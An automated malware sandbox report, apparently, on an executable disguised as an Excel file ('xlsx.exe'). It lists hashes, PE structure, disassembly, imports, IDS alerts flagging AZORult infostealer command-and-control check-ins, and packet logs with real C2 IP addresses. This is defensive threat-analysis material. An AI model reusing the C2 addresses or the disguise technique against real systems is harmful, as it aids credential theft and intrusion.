SHA1:	6D5BF14FC1EF712E8ED8A2823D1D4F584EEC1650
SHA-256:	F8AB0068D1B157ECFB10CCB62DA4318ACE81DAA48B76DB17D28315CFFEA44BF6
SHA-512:	B878B668CA55AD01B693B6D131C265F893FFB3D38F127693D951F1A9E7E516CBCDE05495287E97C1F2176F8F9F802B2D3D9B98E9E3D617053DF8D8B22875F622
Malicious:	false
Preview:	bredestitch adamastor thaumaturgist fodermesters rigsdansken curstfully,albrecht mjen jamoke spectralism jarrad sindssygdomme.outquibling englnder unjuicy.sklent takometres vitalistically unsurlily ologist tudsefisken strettos,paahitsom alands thiasite millilambert.matthies aktieforbindelser dullhead squinancy.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.483442455142506
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7000091945.xlsx.exe
File size:	663'565 bytes
MD5:	6fbbdc300fa11d35f4caf2d9509cfcaf
SHA1:	5bce72cec312e8b0cac43442fc55cead8e0913f3
SHA256:	0f61bbeefa04009b69aaeef1ac1e05358708caf8a476675dbb2342b1b38988fc
SHA512:	425d40409dd78648fec7bbebecae5df4463b04514efa0bce108964b634dfe5a3aa79c9713760f664e98d8eebc76f2c7efc79862d9e835ba9104214de06ff4b15
SSDEEP:	12288:cT02BT4pRkr5guoCqmlxtWeqk79Uaq06p6X9uruAK5Gi:cTbBTmeWuoLmhwQilp6NBAWGi
TLSH:	18E402C1F918826AEC7399F990758AFE56AFEC3F8940235277C0368D4C7116241BFAD9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...@.$_.................h.........

File Icon


Icon Hash:	8e13714c04651306

Static PE Info

General

Entrypoint:	0x4034c5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F24D740 [Sat Aug 1 02:45:20 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	6e7f9a29f2c85394521a08b9f31f6275

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080CCh]
call dword ptr [004080D0h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [00434F0Ch], eax
je 00007FD034B133B3h
push ebx
call 00007FD034B166A1h
cmp eax, ebx
je 00007FD034B133A9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FD034B1661Bh
push esi
call dword ptr [00408154h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FD034B1338Ch
push 0000000Bh
call 00007FD034B16674h
push 00000009h
call 00007FD034B1666Dh
push 00000007h
mov dword ptr [00434F04h], eax
call 00007FD034B16661h
cmp eax, ebx
je 00007FD034B133B1h
push 0000001Eh
call eax
test eax, eax
je 00007FD034B133A9h
or byte ptr [00434F0Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408298h]
mov dword ptr [00434FD8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7f000	0x289e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6793	0x6800	c25464d6f87775ef687d2492f92ddf9a	False	0.6720628004807693	data	6.495258513279076	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a4	0x1600	e36c6ad0568cd039e0c7810069438d6d	False	0.4385653409090909	data	5.01371465125838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2b018	0x600	33b1d611a00420c98fa82231feaa907b	False	0.5240885416666666	data	4.155579717739458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x36000	0x49000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7f000	0x289e8	0x28a00	a4a68548dea512ae9cd3ee42d0de6767	False	0.34076923076923077	data	4.845257821547735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x7f400	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x7f768	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.28531290666035725
RT_ICON	0x8ff90	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.36112570948076517
RT_ICON	0x99438	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.3842421441774492
RT_ICON	0x9e8c0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.37228389230042513
RT_ICON	0xa2ae8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.43983402489626555
RT_ICON	0xa5090	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4955440900562852
RT_ICON	0xa6138	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5581967213114755
RT_ICON	0xa6ac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6453900709219859
RT_DIALOG	0xa6f28	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0xa7070	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0xa71b0	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa72b0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xa73d0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa7498	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa74f8	0x76	data	English	United States	0.7457627118644068
RT_VERSION	0xa7570	0x134	data	English	United States	0.5909090909090909
RT_MANIFEST	0xa76a8	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T12:43:16.605671+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.8	49705	TCP
2024-11-05T12:43:30.366110+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49710	185.244.144.68	80	TCP
2024-11-05T12:43:33.236877+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.8	49711	188.114.96.3	80	TCP
2024-11-05T12:43:33.236877+0100	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.8	49711	188.114.96.3	80	TCP
2024-11-05T12:43:33.467786+0100	2029137	ET MALWARE AZORult v3.3 Server Response M2	1	188.114.96.3	80	192.168.2.8	49711	TCP
2024-11-05T12:43:41.761842+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.8	49712	188.114.96.3	80	TCP
2024-11-05T12:43:55.385147+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.8	49713	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 12:43:29.437089920 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:29.441956043 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:29.442112923 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:29.442488909 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:29.447299957 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365854979 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365876913 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365890980 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365911961 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365943909 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365957022 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.365977049 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.366019964 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.366075993 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.366089106 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.366110086 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.366159916 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.371033907 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.371081114 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.371118069 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.371184111 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.535660028 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.535686016 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.535698891 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.535712004 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.535722971 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.535734892 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.535761118 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.535815001 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536036015 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536056995 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536077023 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536120892 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536228895 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536238909 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536320925 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536442041 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536453962 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536470890 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536499977 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536526918 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536820889 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536875010 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536876917 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536889076 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.536917925 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.536962986 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.537206888 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.537260056 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.537292957 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.537292957 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.537463903 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.537475109 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.537486076 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.537528038 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.537528038 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.537785053 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.537836075 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.540718079 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.540739059 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.540781021 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.540781021 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.540942907 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.540991068 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.541021109 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.541033983 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.541059017 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.541079044 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.705487013 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705547094 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705558062 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705574036 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705584049 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705583096 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.705604076 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705624104 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.705666065 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.705754042 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705773115 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705796003 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.705836058 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.705913067 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705972910 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.705974102 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706011057 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706027985 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706067085 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706099033 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706110001 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706121922 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706159115 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706207991 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706387043 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706409931 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706422091 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706434965 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706465960 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706466913 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706500053 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706509113 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706547976 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706850052 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706908941 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706927061 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706938028 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706949949 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706979036 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.706980944 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.706993103 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707015991 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707015991 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707036972 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707356930 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707416058 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707426071 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707433939 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707464933 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707480907 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707492113 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707546949 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707767010 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707803011 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707813978 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707830906 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707845926 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707850933 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.707876921 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.707932949 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.708117962 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.708129883 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.708141088 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.708164930 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.708219051 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.708277941 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.708349943 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710041046 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710079908 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710091114 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710093021 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710123062 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710146904 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710236073 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710247040 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710258007 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710278988 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710299969 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710299969 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710347891 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710505962 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710562944 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710573912 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710585117 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710587025 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710622072 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710627079 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710627079 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710634947 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.710660934 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.710691929 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.821085930 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.821119070 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.821132898 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.821145058 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.821166039 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.821166039 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.821177959 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.821332932 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.821332932 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.875293016 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.875350952 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.875360012 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.875372887 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.875408888 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.875408888 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876238108 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876264095 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876274109 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876302004 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876312017 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876327991 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876338959 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876353979 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876363993 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876374006 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876410007 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876410007 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876429081 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876497030 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876502037 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876509905 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876543999 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876544952 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876554966 CET	49710	80	192.168.2.8	185.244.144.68
